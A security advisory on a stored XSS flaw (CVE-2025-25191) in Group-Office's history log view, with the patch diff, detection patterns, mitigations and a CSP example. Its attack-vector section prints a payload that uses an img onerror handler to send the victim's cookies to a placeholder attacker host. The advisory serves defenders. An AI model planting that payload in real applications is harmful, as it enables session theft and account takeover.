CVE-2025-25191: Group Office Stored XSS Vulnerability

CVE-2025-25191 Overview

CVE-2025-25191 is a Stored Cross-Site Scripting (XSS) vulnerability in Group-Office, an enterprise Customer Relationship Management (CRM) and groupware application developed by Intermesh. The flaw exists because user input submitted through the Name field is not sanitized before being persisted and later rendered in the history log view. Authenticated or unauthenticated attackers can inject JavaScript that executes in the browser context of any user viewing the affected log entries. The issue is tracked under [CWE-79] and is resolved in Group-Office version 6.8.100.

Critical Impact
Stored JavaScript payloads execute in the browsers of privileged users who view history log entries, enabling session theft, account takeover, and lateral compromise within the groupware environment.

Affected Products

Group-Office 6.8.99 and earlier
Intermesh Group-Office CRM and groupware
Deployments using the history community module (LogEntryGrid)

Discovery Timeline

2025-03-06 - CVE-2025-25191 published to the National Vulnerability Database (NVD)
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-25191

Vulnerability Analysis

Group-Office renders audit and history data through the ExtJS-based LogEntryGrid.js view located at www/go/modules/community/history/views/extjs3/. When log entries are constructed for display, the renderJsonValue helper appends stored values directly into an HTML string buffer without output encoding. Any value previously written to the Name field of a tracked entity is emitted verbatim into the DOM.

Because the payload persists in the database, exploitation is one-shot: an attacker sets a malicious Name value once, and the payload fires every time an administrator or other user loads the corresponding history grid. This turns routine audit review into an attack vector, which is particularly problematic in a CRM handling customer data.

Root Cause

The root cause is missing output encoding in the client-side renderer. The vulnerable branch pushed raw data into the HTML buffer instead of HTML-escaping it. The fix replaces the raw append with Ext.util.Format.htmlEncode(data), encoding characters such as <, >, ", and & before insertion into the DOM.

Attack Vector

Exploitation requires the ability to write to any entity whose Name field is later surfaced in the history log. A script payload such as <img src=x onerror=fetch('//attacker/'+document.cookie)> embedded in the Name field executes when a victim opens the history view. No user interaction beyond normal audit inspection is required by the victim.

javascript

// Patch from LogEntryGrid.js — Group-Office commit c5c83e1
// Before (vulnerable): raw data appended to HTML buffer
//     html.push(data);
// After (fixed): output is HTML-encoded before rendering
            html.push('<b>' + key + '</b> ' + this.renderJsonValue(data[key]));
        }
    } else {
-       html.push(data);
+       html.push(Ext.util.Format.htmlEncode(data));
    }
    return html;
},

Source: Group-Office commit c5c83e1

Detection Methods for CVE-2025-25191

Indicators of Compromise

Entity Name fields containing HTML tags, <script>, onerror=, onload=, or javascript: URI schemes stored in the Group-Office database.
Outbound HTTP requests from administrator browsers to unfamiliar domains shortly after opening the history log view.
Unexpected session token reuse from IP addresses that differ from the legitimate user location.

Detection Strategies

Query the Group-Office database for Name values matching regular expressions such as <[a-z]+[^>]*on[a-z]+= or containing <script.
Inspect web server access logs for POST or PATCH requests to entity endpoints where request bodies include HTML or script tokens in the name parameter.
Enable and review Content Security Policy (CSP) violation reports from the Group-Office web front end.

Monitoring Recommendations

Forward Group-Office web and application logs to a centralized SIEM and alert on payload signatures for stored XSS.
Monitor administrator accounts for anomalous API calls issued from the browser immediately after loading /history views.
Track outbound network egress from workstations that access the Group-Office admin console.

How to Mitigate CVE-2025-25191

Immediate Actions Required

Upgrade Group-Office to version 6.8.100 or later, which includes the htmlEncode fix in LogEntryGrid.js.
Audit historical Name field values across all modules and sanitize or purge entries that contain HTML or script content.
Rotate session tokens and API keys for administrators who accessed the history view prior to patching.

Patch Information

The vendor fix is published in Group-Office commit c5c83e19a5cdf93b0e758726c97597861f1d6eda and documented in the advisory GHSA-j7p3-v652-p3gf. The patch wraps user-controlled values with Ext.util.Format.htmlEncode before insertion into the DOM. Apply the upstream release 6.8.100 rather than back-porting the change manually where possible.

Workarounds

Restrict access to the history and audit-log views to a minimal set of accounts until the patch is applied.
Deploy a strict Content Security Policy that disallows inline event handlers and untrusted script sources on the Group-Office origin.
Place a web application firewall (WAF) rule in front of Group-Office to block request payloads containing HTML control characters in name parameters.

bash

# Example Content Security Policy header for a reverse proxy fronting Group-Office
add_header Content-Security-Policy "default-src 'self'; \
  script-src 'self'; \
  object-src 'none'; \
  base-uri 'self'; \
  frame-ancestors 'self'; \
  report-uri /csp-report" always;